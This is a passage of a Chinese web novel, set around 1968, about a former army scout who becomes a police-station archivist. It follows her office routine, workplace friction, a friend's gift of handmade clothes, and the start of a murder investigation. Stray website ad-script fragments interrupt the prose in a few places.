她往办公桌前一坐,看着一屋子的档案,还有些不适应。
坐了会,她将大衣口袋里的饭盒掏出来,打开盖子,从里面拿出大白兔奶糖放进了抽屉。
她将大衣脱了挂好,决定工作先从打扫开始。这屋里也就办公桌干净,剩下的地方看起来灰突突的。
档案室不让用火,但水能用,在屋角有个水盆架,横杆上搭着个抹布。
涂翡去水房打了盆水,该擦的擦一遍后,将水倒进拖布桶里,就着这水把地又擦了一遍。冬天水冷干完活手都红了,她拿出万紫千红挖出一点来,擦了擦手。
干完活,她不再是这间档案室的外来者,除了那密密麻麻的档案,她对这里了如指掌。
涂翡把所有检索册都拿了出来。
档案室有派出所每个警员的人事档案、十几年来发生的案件、各种记录、报告报表。
涂翡大概翻了一遍,检索册子上有好几个人的工作痕迹。检索册将所有档案按照时间、类别分类,是档案员对档案归纳整理后的总结。
看记录,老秦在档案室也没工作多长时间,他的字迹都很新鲜,记录的东西也不多。
结合着档案室的规章制度,涂翡基本了解了档案员的工作。
正看着,窗外传来熟悉的训练声,她放下检索册,走到窗边,一群穿着警服的人正在操场上扛着木头跑圈,号子喊得震天响。
涂翡看了好半天。
8. 认真工作
刚过了下班点,食堂大娘在楼里嗷唠一嗓子:“开饭啦!”
听见喊声,就像学生们放学一样,各个股室都骚动起来。涂翡拿出饭盒,一点不带犹豫的,挂上门就奔向了食堂。
她早饿了,一上午就吃了几块随身携带的奶糖。
她琢磨着,等有功夫得多买点零食放办公室。
食堂在一楼的最左边,和档案室正对着,有两个档案室那么大。除开后厨和打饭窗口,屋里摆了不少不知道从哪个学校淘汰下来的桌椅,两个并成一个桌子。
涂翡第一个到的,食堂还没人。
大娘知道她是新来的,给她介绍:“主食要票,粗粮杂粮细粮,吃啥用啥。今天有米饭,拿细粮票了吗?
这几个,三分,这个五分,荤菜一毛二,汤免费盛!”
细粮哪能天天有,就是派出所的食堂也没这么多份额,一般都是两掺的杂粮。今天涂翡算是赶上了,又有荤菜又有米饭。
食堂菜卖相不是很好,毕竟油水酱油放的都不多。但胜在便宜量大!
闻着肉味,看着雪白的大米,涂翡迅速拿出饭盒:“大娘,四两米饭,一份小鸡炖蘑菇,一份白菜粉条。”
她给了大娘4两的细粮票和2两的粗粮票:“再加个粗粮饼。”
说着又数出钱,包着两块大白兔递了过去:“大娘,我姓涂名翡,你叫我小涂就行。在档案室,以后请多关照。”
别人就算了,但食堂大娘她讨好的心甘情愿!
大娘接过钱,顿了顿,犹豫了下将糖放进了口袋:“小涂,你叫我李婶就行,以后对食堂有啥建议尽管提啊,咱们主要的工作就是保证警员们的吃饭问题,得时刻进步!”
“我看着咱食堂这饭菜色香味俱全,可没什么太大的改进空间。”涂翡脸上表情从没有这么柔和可亲过:“李婶,你想进步,难!”
李婶一下子笑开了花,胖乎乎的脸上都起了皱纹:“我就说把,长得俊的人说话也俊!”
涂翡又与她闲唠几句,眼看着她多打了一勺肉汤浇在了米饭上。
这四两米饭,那是生着的重量,熟了更重。但派出所能吃的人多,李婶对涂翡这个饭量也不吃惊,菜堆在米饭上,给她打了冒尖的满满一饭盒。
一顿饭花了三毛,在食堂算高消费了。这是因为今天饭菜好,而她吃的又多,并不是因为卖得贵,派出所食堂的价格相当便宜。
饭盒不够用,大娘就把干粮打到了盖上。
涂翡端着一盒一盖,找了靠窗的位置。放下饭,她又要了一份豆腐汤,一碗里头有三四块豆腐,这已经是李婶照顾。
她那屋冷,一进食堂,哪怕远离炉子,体温也迅速上升。喝上一口没有豆腐的勾芡豆腐汤,滑滑溜溜,暖暖和和。
啧,小日子很滋润。
食堂的饭算不上好吃,但涂翡觉得很香。
她啃了块鸡腿肉,骨头上的汤都嗦得干干净净,这可是肉,满嘴留香。
这鸡挺肥,挺嫩!
感叹着,涂翡就着肉汤狠狠扒了一口大米饭,东北的大米饭最好吃。
正吃着,刘莉在她跟前坐下了:“坐这行吧?”
所里女同志不多,大部分还都回家吃,每次她在食堂遇上女同志就拼个桌,也不管对方熟不熟。
“姐,你坐。”说着涂翡翻翻口袋,趁别人没往这边看,将几块大白兔塞给了刘莉:“那天麻烦你了。”
这玩意死贵死贵的!刘莉赶紧推回去。
涂翡一把握住她的手,刘莉试图推拒,但挣扎无果,挡着她的手纹丝不动。
刘莉不信邪,脸上用力,几秒后默默把呲着的牙收了回去。
嘿,这姑娘,一身牛劲!
涂翡乐了,将手松开,低头继续吃饭:“姐,别推辞,以后都是同事了,还得互相帮助呢。”
她也不是所有人都要给点糖衣炮弹,有人就不吃这一套,公事公办就行;像是老秦,他心气不顺,你就得给点好处;至于刘莉,她是真心觉得这人人品不错,值得交往。
刘莉无奈点头,到底将糖收下。
她是个热络的性子,涂翡留给她的印象又很好,所以就愿意和涂翡说些所里的事儿。她是所里的老人,知道的多,随便和涂翡说些,就信息量满满。
刘莉滋溜了一口汤:“今天事少,学生没惹事也没游街,我看他们都有空训练了。”
涂翡疑惑:“不是不让串联,都在本单位革命吗?”
“哪啊,且得游呢。没军管的时候,天天游行,你说你游就游呗,非得去撩闲,到人家地盘上游。最后牛鬼蛇神没斗咋地呢,小兵们自己先干起来了,人脑子打成猪脑子,各个乌眼青。现在要游得打报告,政保股审批,他们就管这个。”
俩人坐的位置偏,食堂声音也吵,刘莉压低了声音,倒也不怕别人听见。
涂翡又问:“所里一直这么重视训练?”
刘莉知道她刚转业,对部队之外的事情所知甚少,话就说得多了些:“这不是这些年形势严峻么,老常那边不消停,苏国和咱关系也紧张。不止咱们,所有人都得练。咱们的目标是全民皆兵,老马他们只要不出警,基本天天训练。我估计等学生们惹、活动少了,咱们这些文职也得去拉练。”
所里的事,就少有刘莉不知道的。
和刘莉相比,涂翡在档案室呆得与世隔绝,一上午没有人敲门。
一直到下午,才有俩人来送文件。一个是上周的出警记录,一份是结案报告。结案报告没有所长签字,让涂翡打回去签字了。
涂翡听着外面的训练,在档案室呆得浑身难受,最后把脚搭在单人床上,手撑住地面,做了200个俯卧撑。肌肉活动开,总算是舒服了点。
大概是闲的,她开始干老秦交代外的工作,按照检索册检查架子上的档案。
这一检查才发现,档案的顺序相当混乱。就像是经什么意外,所有的档案一股脑混在了一起,档案员没办法,只能按照年份和类别,将其简单粗暴的分开。
这活干得糙,有的文件甚至连分类都是错的。
与之明显的分界线,是军管后老秦归档的文件,这些可以按照检索册直接找出来;而以往二十来年积累的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
文档,只有分类没有排序。
涂翡没接触过档案室的工作,但军队的图书馆她常去,这样混作一团的档案肯定有问题。若有人来抽调档案,她总不能在一堆文件中现找。
她向来是个不怕麻烦的人,给所有档案归档排序本也是档案员的职责,工作量大,那就一点点来。
她决定从档案最少的今年开始整理。
档案柜是落地的,跟书架差不错,很高,离棚顶也就半米距离。每排都被分成了数个不到一米长的格子,黄色的牛皮纸袋紧凑地挨在一起,立在格子中。
如果真像她推测的那样,档案室遭了难,那将混成一团的文档重新分类成如今的模样,已经是一个相当大的工程。
而与这个庞大工程相比,她要做的更简单。
她不过是要守着一个个格子,将所有打乱的文件按照检索册重新排序。做了这么多年侦察兵,把目之所及的东西记住并稍加分析早就成了一种本能。
她将检索册打开立在柜上,先将要整理的格子清空,再把拿出来的档案一个一个按照正确顺序往里塞,错误分类的扔出去。
等她把档案挨个理一遍,排序就完成了。
凭借良好的记忆力,只要稍微检查检查,她就知道哪些档案已缺失。她另拿了个记录本,标明档案的整理情况,到时候要找领导签字的。
档案室里有股陈旧的纸张墨迹味儿,不好闻,但却让人闻上瘾。涂翡站在狭窄的过道中,安静的只有档案翻动和钢笔划在纸上的声音。
她好像被隔离在了这个充满时间印记和历史记录的空间中。
这项工作让人平静心安,一直紧绷的心神好像都随着纸张的味道松懈了一点。
越干越熟。工作的进展比她预想的快,68年才过了两三个月,档案少,她半个下午就整理完了。
她在办公室的空地上打了套拳,又开始整理67年份的。67的档案放在高处,她把角落里的人字梯搬了出来。
.
詹乐贤推开档案室的门,办公桌前没看到人,憋了一肚子的火又咽了回去。
“谁?”档案室深处传出低沉冷清的女声。
詹乐贤闻声走到架子前,根据声音找到了涂翡,只见她坐在人字梯的顶端,手肘撑在架子上,侧过了身子往这边看来。
夕阳的光打在她背后,他没看清她的表情,但却莫名察觉到一丝属于对方的‘杀气’。
她低头俯视,一身制服,身体线条硬朗笔直。
虽然单薄,但人们绝不会忽视她那蓄势待发的力量,她像是一只攻击性极强的美洲豹。
涂翡虽是这么问,但她知道来者是谁。
人刚进来,她便透过架子上方,眼睛如同盯住猎物的鹰眸,一路盯着他走到她这边。
詹乐贤看清她的眼神,想要质问的音调下意识降低了些:“你就是新来的档案员?”
很好,对方很符合他想象中冷硬不通情理的形象。
“对,涂翡。詹委员,你找我?”涂翡挑了挑眉毛,人没下来。
詹乐贤,觉得她态度嚣张。
9. 詹乐贤
涂翡早晨见过他,马所长把几个股室负责人都介绍给她了。
詹乐贤,江城大学66届毕业生,政保股股长,兼江城市革委会委员。
他负责镇北公社的革命事宜、侦破反社会事件。内部审查、主导群众、带领学生、打击牛鬼蛇神、批斗极右主义……这些都归政保股管。
政保股可以说是所里权利最大的股室。
根据刘莉介绍,詹乐贤的大舅哥是市革委二把手,很有背景的一个人。
涂翡打量着这位派出所里的名人,有没有背景她看不出来,但确实挺意气风发的。
很年轻,长得挺白,五官端正,浓眉大眼。再怎么穿着军装警服,也掩盖不了骨子里的斯文书生气。
涂翡对这位风流人物没什么意见,但这位风流人物大概是对她有意见的。
詹乐贤扬了扬手里的文件:“就是你把我们股室的文件打回来的?”
涂翡公事公办:“是我,因为没有所长签字。”
詹乐贤皱眉,提高了音调:“你知道不知道,我们股室有简化办事流程的权利?一切以革命为先,耽误革命这责任你担得起吗?”
他的声音一提高就有些尖锐,听的涂翡耳朵嗡嗡的,特别是她这屋安静了一天,突然吵起来,她很不适应。
她后仰了些,靠在了架子上,后背不再绷着,呈现些许弧度,两条长腿一高一矮踩在梯子上,与之相应的,是她抿起来的唇和轻蹙起来的眉头。
詹乐贤就没见过行为举止这么、这么不像女人的女人。而且,她明明看起来是放松的,但压迫感却更强了。
詹乐贤直觉这人难搞。
涂翡也觉得詹乐贤难搞,工作不按照规章制度来,天天拿革命说事。老秦确实告诉她别惹政保组,但她觉得这事就是个悖论。
文件领导盖章是必须的。她允许不合格的文件进档案室,那就是她有问题,政保组可以随时批她一个工作懈怠。
不签字的档案放进档案室,这就是她的把柄。别管老秦怎么处理,她总不能被别人牵着鼻子走。
横竖这事怎么做错的都是她?那不行。
涂队长向来是吃肉的。
涂翡低头看着詹乐贤,语气寻常:“你们有简化办事流程的权利,但没有简化工作的权利吧?这结案总结报告也是革命工作一部分,没有领导审批就不完整。怎么,你的革命工作偷工减料了?不能让领导看?”
詹乐贤攥紧手,有些恼火:“你说什么呢!工作和报告都没有任何问题……”
解释几句后,他突然发现自己落入了涂翡的陷阱。他吸了口气,皮笑肉不笑道:“这明明是简化流程的问题!我们的时间很宝贵,应该花在更宝贵的事情上!”
涂翡笑了,露出一口白牙,黝黑的皮肤让牙齿白到晃眼:“您来找我理论的时间,够您去找所长签字三回了。詹委员,我也是好心,万一有心人盯上你这件事,你说不清。”
詹乐贤自认不是不讲理的性子,遇到涂翡,他有种秀才遇到兵的憋屈感。这涂翡的笑,他丝毫没察觉到友好,只觉得憨坏憨坏的。
更让人生气的是,涂翡有点说服他了。
他怕真有人按照涂翡这说辞攻讦政保股。
涂翡看他松动,主动给了个台阶:“詹委员,今天麻烦你跑一趟了。你也知道我是个新人,做事有些死板,只敢按规章办事。再有这事,你直接让警员签好字带过来就行了。”
台阶是给了,但关于签字这事儿,是一点没松口。
詹乐贤嘴角抽了抽,这女人,属王八的。
但有台阶,他还是下了,他晃晃手里的文件:“今天也是我有时间,文件所长已经签字了,就差你了。”
涂翡点点头,直接从人字梯顶端跳下来,砰地一声。
吓了詹乐贤一跳,他差点后退一步。
他忍住了!
涂翡没管他,伸手拿过文件,打开检查一遍,掏出钢笔单手拧开盖子,签上自己的大名。
詹乐贤看了一眼,龙飞凤舞、锋芒毕露。
同样很符合他对她的刻板印象。
.
涂翡上了几天没什么大波澜的班。
周四这天,老涂和小涂刚吃完晚饭。
吃的是她从食堂打回来的剩菜,荤的,有肉。
食堂的饭菜是个大约数,一般情况是不会剩的,特别是荤菜。但什么时候都有例外,不过剩的荤菜很抢手,一般都内部消化了。
但谁让涂翡食堂内有熟人呢。
这几天下来,她和李婶关系非常不错,李婶喜欢热闹喜欢开玩笑,涂翡以食堂暖和为由,没事就从档案室溜出来烤烤手,找她说说话逗逗她,俩人的友好关系算是延续了下来。
今天中午剩了荤菜,涂翡听李婶说后,打了满满一饭盒,半价。等晚上饭出来,她又用两个饭盒打了干粮和素菜。
现在家里的三个饭盒全都被她征用了。
至于中午她就管不了老涂了,她不回来吃饭。
祖孙俩从前吃轴承厂食堂,现在又混上了派出所食堂。老涂从灶台前半解放出来,每天过得相当愉快。
当然这愉快和涂翡平安回来脱不了关系。
这会俩人猫在西屋里正听着收音机,刚听完《红色娘子军》戏曲,现在电台正放着歌:“大海航行靠舵手,万物生长靠太阳……”
老涂盘腿坐在炕头,一边滋溜着茶水,一边随着歌哼唱:“鱼儿离不开水啊~”
要是以前,他一听红色娘子军就想到涂翡,一想到涂翡哪儿还有好心情。他那么大一个孙女上前线摸爬滚打,他支持归支持,但也是真心疼。
每天担惊受怕。
歌曲唱完,老涂抿了口茶:“哎,大孙女,给爷换个频道!”
涂翡正站在火墙前读报纸——这两年的新闻都被老涂糊墙了。戏她听不明白,没培养这个爱好。
她能听懂的都俗。
火墙跟前看报,这是她新找的事,她确实脱离社会太久了,现在看什么都新鲜。
听见老涂的支使,她走到炕梢调台,她瞄了一眼一米之外的老涂:“明早咱一起打拳啊?”
老涂连连摆手:“你那套太犀利太快,咱可练不到一起去。年轻时不想练都不行,现在还不让我歇歇?我好不容易把你师祖送走,你就别看着我了!”
涂翡刚想说您这不肖子孙小心师祖托梦骂你!
但话到嘴边憋回去了,这玩笑可不兴开。
“砰砰砰!”
老涂一个激灵:“咋的,你师
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
祖真不满意了?”
涂翡皱眉:“有人敲大门,我去看看。”
“披上衣服。”老涂嘱咐。
涂翡应下,出了屋门。
外面天漆黑,只有少数星子在寒夜里发出微光。来者的手电隔着门缝穿了进来,照亮了冰冷的白霜。
“阿翡是我!”
是梁玉秋的声音,涂翡松了口气。
她快步上前打开大门,只见梁玉秋抱着一个包裹,正冲她傻乐。涂翡让她进来,接过她手里的包裹:“你这是离家出走了?”
梁玉秋嗔了她一眼:“还不是给你这个冤家送衣服,快进屋试试,哪儿不合适我给你改。”
听见敲门,邻居屋也开门了。
“这不是小秋吗?你来找涂翡啊!”是周翠锦,李金玲的妈。
这人有点虚伪,明明重男轻女,但非要说家里一碗水端平,在外面总贬低自己闺女。
梁玉秋虽然和李金玲联系的不多了,但她向来自己朋友们同仇敌忾:“啊,周姨,金玲最近回来了吗?”
这纯属哪壶不开提哪壶,李金玲自从嫁人,过年能回来就不错了。周翠锦在黑暗中翻个白眼:“那丫头最近没回来,等她回来我让她去找你们玩啊!”
说着就进屋关门了。
这院与院之间的围杖都透着缝隙,虽有柴火垛和搭建的下屋做阻隔,但只要有心,谁家发生什么都不是秘密。
梁玉秋撇撇嘴,很看不惯李家的作风。
涂翡也不喜欢,但没她那么义愤填膺:“进屋,我得检查检查,看你手艺退步了没有!”
和老涂打了声招呼,俩人回了东屋。屋里只烧了炕,还没那么暖和,但也不冷。
涂翡打开灯,拉上了窗帘。
这边梁玉秋没给她直接试衣服的机会,她把冰凉的衣服一件件摊在炕头:“先暖暖再穿!”
涂翡凑过来看,感叹:“哎呦,多年不见,梁师傅变成梁大师了啊!”
“别贫!”梁玉秋走了一路,这会也冻透了,这会直往炕头钻:“新工作咋样,适不适应?”
“挺清净的,活不多,不加班,福利待遇好。”涂翡边说边给炕灶里添了点柴。
对有追求的人来说,清净算不上好事,这代表既不在业务中心,也不在权利中心,纯粹养老的岗位,没进步空间。
但涂翡现在需要修养,工作越清闲越好。
梁玉秋警惕地瞄着涂翡:“你先好好修养,安心干档案员的活儿。等修养好了,再想办法调动。而且现在环境也不好,低调才好!”
她知道,涂翡是有追求的人,她不会甘于平凡,或止步于此。
她理解涂翡,因为她也是这样的人。但现在不行!
涂翡笑弯了眼睛,露出一口白牙:“放心,我拎得清。”
她确实不着急,除了最开始的烦躁,她已经适应了档案室的工作。
工作之余,她就整理档案。她现在已经整理完67、68两个年度。上班第二天,她就拿着68年档案整理报告去找马所长签字了。
上面记录了档案的缺失、错登、漏登等情况。马所长看完沉默了会,细问了档案室的现状,涂翡如实说了。
不过马所长说要在例会上表扬她时,她给拒绝了。
10. 心计都用在了吃上
她可以默默付出,也可以不计较回报。但能计较回报,她一定不会默默耕耘。
去找马所长签字,一是给档案室的现状报备,二也是告诉马所长她做的工作。没想到马所长真对档案室的混乱一无所知。
在领导面前功劳都领了,就没必要再接受表扬得罪人了。
要这么干,直接把老秦得罪死。
“你们派出所的政保股咋样?有没有找你麻烦?”
涂翡添柴的手顿了顿:“怎么说呢……”
梁玉秋的心一下子提了起来:“我跟你说,虽然不能得罪他们,但也不用怕他们!
你越怕他们越是觉得你心虚。你可是立过功的军人!他们没资格审判你!”
“别瞎想!”涂翡赶紧打断这老姐,这再任由她发挥,她能直接在炕上蹦高高。
接着她就跟梁玉秋简单说了说她和詹乐贤的‘小’摩擦。
梁玉秋摸摸下巴,这情况说大不大,说小不小,纯看这位委员是什么秉性了。但她不认为涂翡做错了:“那这几天呢?他没找你麻烦吧?”
涂翡咳了一声:“他们确实盯了我两天,但今天就不盯了。”
梁玉秋还想问,被涂翡岔开了话题。
也不是不能说,就是有点丢人。
政保组查人挺有经验,隐秘、明暗掩护、用不同面孔,行动也很自然。
但对她来说,这点经验还不够看。
谁是盯她的人,她一打眼就知道。但她也没避讳对方,该干什么就干什么。对任何人都公事公办。
她以为这盯梢得持续一段日子,没想到昨天去找马所长的时候,听见盯她的人在跟詹乐贤汇报。
涂翡的日常总结起来,就是工作、锻炼、讨好食堂李婶。
然后就听詹乐贤怒骂了一声:“心计都用在了吃上!”
再往后她没好意思听。
下班的时候,詹乐贤还用恨铁不成钢的眼神瞅她,她没理会。
梁玉秋给涂翡做了两件白衬衫、两件白背心、一条黑裤子、一件棉袄。
涂翡从最里面的内衣开始试穿。
涂翡青春期所有性知识都来源于梁玉秋,梁玉秋的性别知识少部分来源于母亲,剩下的则来源于各种书。涂翡的第一条月事带是梁玉秋送的。
她们是朋友,是知音,也是亲人。
所以,两个坦荡大方的人,涉及这种事丝毫没有害羞。
梁玉秋做的小背心长度到胃,借鉴了苏式胸衣的样子。
一寸宽的肩带横过整个肩膀,贴胸的部分做出的弧度很用心也很麻烦。梁玉秋是先用缝纫机砸出细密的行线才让软棉有了硬度,既不松垮也不紧绷。
有了硬度后还要往上贴软棉布,这样才舒服。
其余部分也很贴合,微微的弹力正好。
涂翡从没穿过这么精致好看的胸衣。
在梁玉秋攒钱买内衣的时候,涂翡还没完全发育。后来当兵了,在她发育最好的时候用的是裹胸布,方便训练,就是不舒服。后来她瘦了,只穿个背心就行。
涂翡第一次穿,照着镜子看了一会,夸赞道:“比卖的好太多了!”
梁玉秋也很满意,但听了她这话,忍不住翻了个白眼:“就你这份量,都不值当我做那么认真!”
涂翡大笑。
两个姑娘在屋里说着外人看来不知廉耻的话,但却没一点羞涩。
也许是江城沾染了苏联风气、也许是偷偷读过的书、也许是习惯了在澡堂里惯坦诚相待……
总之,在某些问题上,她们有着异于常人的观念。
这些特别,她们清楚,只是并不展现于世人。
她们的追求,不是特立独行。
试完内衣,再穿衬衫。
白衬衫用的是偏硬偏厚的布料,配合着梁玉秋的剪裁,挺括大气。梁玉秋这会有些不好意思了:“我本想做些掐腰,但想着你的样子,衣服下意识就成了这样。你看喜不喜欢,还能改!”
这件到底是偏硬朗了。好在另一件她做得秀气利落。
铁娘子、假小子、女劳模,是这个时代标榜的女性。她敬佩她们,她想当个铁娘子、但她却并不喜欢用假小子这三个字夸人。
男人就那么好?只要像男人,就值得众人敬仰?
那些赶超男人的女性,凭的是意志、信仰、努力。凭什么因为优秀,就说她是假小子,就要失去自己的性别?女人就那么不堪,优秀的人不配称为女性?
尽管作为妇联工作者,她最常鼓励别人的,是男人能做到的,女人也能做到。
她很喜欢自己的长发,也并不因为自己的曲线羞耻。女人不必像男人,她们只要去做社会要求男人去做的事情,比如学习、比如进步、比如工作、比如当官。
她爱涂翡这种英气飒爽的女子,但她不会忽视她是女孩。她总觉得涂翡需要她的照顾。
涂翡将衬衫扣子系好,仔细塞进裤腰,虽然宽松,却不掩窄腰。涂翡照照镜子,与梁玉秋对视一眼,都从彼此的眼中看到一抹惊奇。
“真好看!”梁玉秋将之前的顾虑完全抛之脑后。
涂翡气场强大,俊朗英气但又不失女性的曲线。哪怕是她黑了,瘦得没肉了,她也有种矛盾凌厉的美感。而这偏硬朗的衣服,特别适合她的气质。
“我也觉得我好看。”
梁玉秋啧啧了两声:“明明是我手艺好!”
“你要这么说,也对。”
俩人又笑。
另一件衬衫也很合身好看,却不如这件,梁玉秋直呼奇怪。
涂翡穿上新裤子,在侧腰处系好扣。
她低头看着这黑色,有那么一点不习惯。
梁玉秋拍拍巴掌:“很好!阿翡腰细腿长嘛,要是配上刚才那件衬衫肯定更好看。”
她做的裤子没有军服宽松,涂翡又长了一双笔直的长腿。她愿意给涂翡做衣服也有这方面的原因,她身材好气质好,很有成就感。
最后是棉袄,涂翡拿起来才发现这棉袄的特别,她稀罕地研究着:“你是怎么把棉袄做得这么板正的?”
袄子虽然不厚,但里面可是棉花。不显得臃肿就是好手艺了,她竟然把棉袄做的像外套一样,又有腰身,又整齐漂亮,甚至看不见任何针脚。
梁玉秋很得意:“棉袄我絮得好啊,还用针线夯过!外面这层我是单做的外衬,可以拆开洗。”
涂翡打开袄子,白色的里子上露出一行行整齐的针脚。她小心地摸摸,似乎看见窝在炕上点着灯认真做衣服的梁玉秋。
别的都能用缝纫机,唯有这袄子,要一层层的絮
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
棉才能絮得均匀,除此之外,还得用线固定棉絮。她手缝的却比机器还精致,针脚整齐均匀。
灰色的外衬只有一层,缝到了里子上,所以才这么服帖。
“秋子”涂翡刚要赞美,梁玉秋的催促打断了她:“快试试大小!”
涂翡无奈,穿上棉袄,把白衬衫领子翻了出来。
灰色本是最普通的颜色,但此刻却焕发着光彩。这一身,不招摇,但又把涂翡衬得肩宽腿长,配上一头短发,利落干净有范儿。
试完衣服,涂翡将一件件衣服整齐的叠好,放进了柜子。
梁玉秋也不多呆,完成任务就要回家。
临走前,她看着只放着毛选的书架,叹了口气:“可惜,这次没法讹你了。”
俩人有个老规矩,梁玉秋帮她缝衣服,涂翡得借书给她看。
涂翡的奶奶娄玉漪是个军医,也是个文化人,她留下来了不少书。如果说梁玉秋拿捏涂翡的能耐是与生俱来的,那涂翡也是抓住了梁玉秋的软肋。
她家的书不轻易外借。她对书很爱惜,不懂事的时候也往外借过,但有收不回来的,还有染上污垢的,她很介意,干脆就不外借了。
梁玉秋爱看书,也珍惜书。涂翡愿意借给她,她只是拿这人没办法,就借看书一事威胁。最后你来我往间,俩人形成了这种独特的交易。
涂翡慢悠悠道:“也不是不能讹。”
梁玉秋睁大眼睛。
涂翡耸耸肩,在对方期待着急的眼神中,慢条斯理地拿出早准备好的书。
书被翻得很频繁,幸亏被包上了书皮。虽有些旧,但内里却连个折痕都没有。
梁玉秋打开扉页,轻声念:“牛虻。”
“这本书跟我走南闯北,现在送你了。”
“送?这么大方?”梁玉秋捧着书,脸上焕发着不可置信的光彩。
“那还是别送了,你记得还。”涂翡似笑非笑地看她。
“我才不还!”
这本书是少有不反动的国外书籍。
她奶奶也留下了一本,但这本是她后来又买的。
以前她看这本书并没有太多感悟,直到她参加了战争。
她背负着使命和信仰,但却远离了伦理和道德。
越是杀敌,越是迷惘。见得越多,越是在人性与正义间游荡。
后来这本书就成了她随身携带的书。她不是殉道者,也不是革命家,但她无数次被鼓舞。她想像牛虻那样,拥有不屈的意志和无所畏惧的勇气。
虽然,她没做到。
涂翡送这本书,不仅是不想给她添麻烦,也是想把自己分享给她,就像以前那样。
但她又不想告知对方她的煎熬,于是故作轻松地掐了下梁玉秋的脸蛋:“书都烧了,没剩下几本,你只能看这个了。”
其实家里的书是藏起来了,但她不想给梁玉秋找麻烦。
“哎,可惜了,我的那些手抄书和读书笔记也都烧了。”
这话一落,俩人沉默了几秒,转开了头,忍不住乐了。
都在骗人。
天色太晚,梁玉秋自己走涂翡不放心,便出门送她。梁玉秋的新家就在离娘家不远的地方,她支支吾吾地不让涂翡送她到家门口。
涂翡拗不过她,只送她到了胡同口。
11. 命案
涂翡刚和梁玉秋说完工作清闲,这活儿就来了。
周五一大早,派出所一阵匆忙的脚步声。
是政保股。涂翡总结出规律,政保股是所里最忙的股室,他们大多数都是上午出勤,做革命工作。如果他们不出勤,就会带领全所的警员学习语录。
今天没通知学习,那这要出警的肯定是政保股。而且治安股军人更多,两个股室的脚步声不一样。一般他们会在中午下班前回来。
涂翡给自己泡了一大缸茶水,整理档案。
她这屋现在也鸟枪换炮了,不像一开始那般简陋。
她拿了床单,还有以前寄回来的旧军用被褥,被子叠成了豆腐块放在了单人床上。
中午她可以在床上休息。热水袋也准备了,平时去水房接热水。各种能买到的零食,也在抽屉里放了不少。
不吃不行,饿。
老涂不知道拆了几个老战友家的鸡毛掸子,给她絮了一个又厚又软的坐垫,就是有时候往外飞鸡毛。办公用品该申请的也都申请了,就连台灯都配了一个。
涂翡严格按照规章制服办事。其他人也没什么说的,毕竟政保股都在涂翡这‘吃亏’了。他们现在已经习惯了这位新档案员的做事风格。
工作了半个上午,楼里又吵了起来,是治安股出勤的声音。不知道发生了什么,连马所长也被惊动了——档案室楼上就是所长办公室,光听声就知道了。
涂翡自觉这不关她的事,看看时间放下档案,活动活动身子,做了大概半个时辰的室内训练,然后开始吃东西。
詹乐贤闯进档案室的时候,就见她脚踩着窗台,一边做着拉伸动作一边叼着饼干。
看到她这样子,他脸色更难看:“所长找你。”
涂翡把饼干都塞进嘴里,腿放下来,用手扫了扫灰:“走吧。”
.
马所长在停尸房,脸色有些凝重。
治安股股长闫浩辉脸上也不平静,看着眼前铺着白布的尸体,喉结微动含糊着说:“涂档案员能行?要不我去请老吴吧……”
马所长摇摇头:“你先别折腾老吴了,他一大早晨起来扫大街不容易,这会正休息呢。你让涂翡试试。”
看着闫浩辉满脸的质疑,马所长在他耳边小声嘀咕:“她在越南那边呆了两年,是前线侦察兵。看经历,还在战地医院帮衬过。要是她能行,咱以后就不用次次找区里了。”
闫浩辉一怔,点点头。
外人不知道,但他们这些军人知道国内动员了不少人去越南支援。名义是上做建设指导工作,实际上就是去打老美的。
老吴,一个五十来岁的老头,是个仵作,也是原来镇北派出所的法医。因为在伪满警局干过,没逃过这次审查,直接被拉去扫大街改造了。
除了找老吴,就只能往上面申请。
公安系统从上到下都是军人重建的,整个江城就两法医。他们得先跟区里反应,区里再找市里申请,最后找到法医,还得看那边的时间安排。
这边涂翡问詹乐贤所长找她什么事,他也不说。
涂翡一路跟着他到了地下室入口。派出所的地下室和地上的面积差不多。也是一个个房间。其中有关押拘留室、库房、停尸房。
停尸房在最里面。
涂翡是第一次下来,意外发现,档案室下面就是停尸房。
她尸体见得多了,并不觉得怕,再说上面还有马所长镇压。
看来档案室那么冷,也不止是不许点火的原因。
涂翡一进停尸房,刺骨的冷意就穿了过来。
档案室比其他办公室大,停尸房也是。里面放了五张床,这会里面开着灯,最外面的床上摆放着盖着白布的尸体。跟前站着马所长和闫浩辉。
“马所长,闫股长,你们找我?”
马所长:“今天发生了一个命案,你不是在战地医院工作过吗,能不能给看看?”
涂翡确实在战地医院呆过,或者说部队驻扎修整时,她就会找女卫生员们一起住。因为他们侦察队只有她一个女兵。
训练休息之余,她就会给卫生员们帮忙,渐渐地她便看多了伤兵残将,还被表彰过一次。但卫生员和法医完全不是一回事,外伤还行,内部检查她完全不了解。
她倒是在侦察大队学了些关于尸检的知识,但也只是皮毛。
没想到马所长会把她当法医使唤,她有些无奈:“所长,我没干过法医,只能试试。”
“行!你先试试,不行我给区里打报告。在这行不行?要不给你送法医室吧?那有专门的工具。”
涂翡连连拒绝:“所长,我不会用那些工具。”
马所长纯粹是死马当活马医了。
在场的两位股长,心存怀疑,但也只能给涂翡让开了位置。
涂翡掀开这位新邻居的白苫布,是个头发花白但梳得一丝不苟的中年男人,看起来受了不少蹉跎。但他依然有丝儒雅的气质。此时他双目紧闭,双唇张开,露出牙齿,舌头有些伸出。
她观察着死者,刚想上手,闫浩辉一把挡住了她,惊道:“别直接上手啊!戴手套!”
殊不知涂翡也一身冷汗,幸好闫浩辉是格挡,没做出抓握的动作,不然她怕是要犯病了!
要是在停尸房犯病,也不知道会不会把人吓死。
“不好意思,习惯了。”涂翡镇定下来,解释道。
她直接将苫布全部揭开,接过了闫浩辉递过来的医用手套。
这回死者的伤痕就清晰多了,从外表看,只有脖子上有一道深紫色的勒痕。
是勒死的。
她毕竟不是法医,只能按照自己的经验检查尸体,没有其他致命伤,无中毒痕迹。看着她那粗糙的动作,哪怕是马所长都忍不住龇牙咧嘴。
涂翡不在意他们的看法,再说,本来她就不专业。
她捏开死者的嘴巴,观察了一下他的唇舌,摸了摸他断气的脖子。
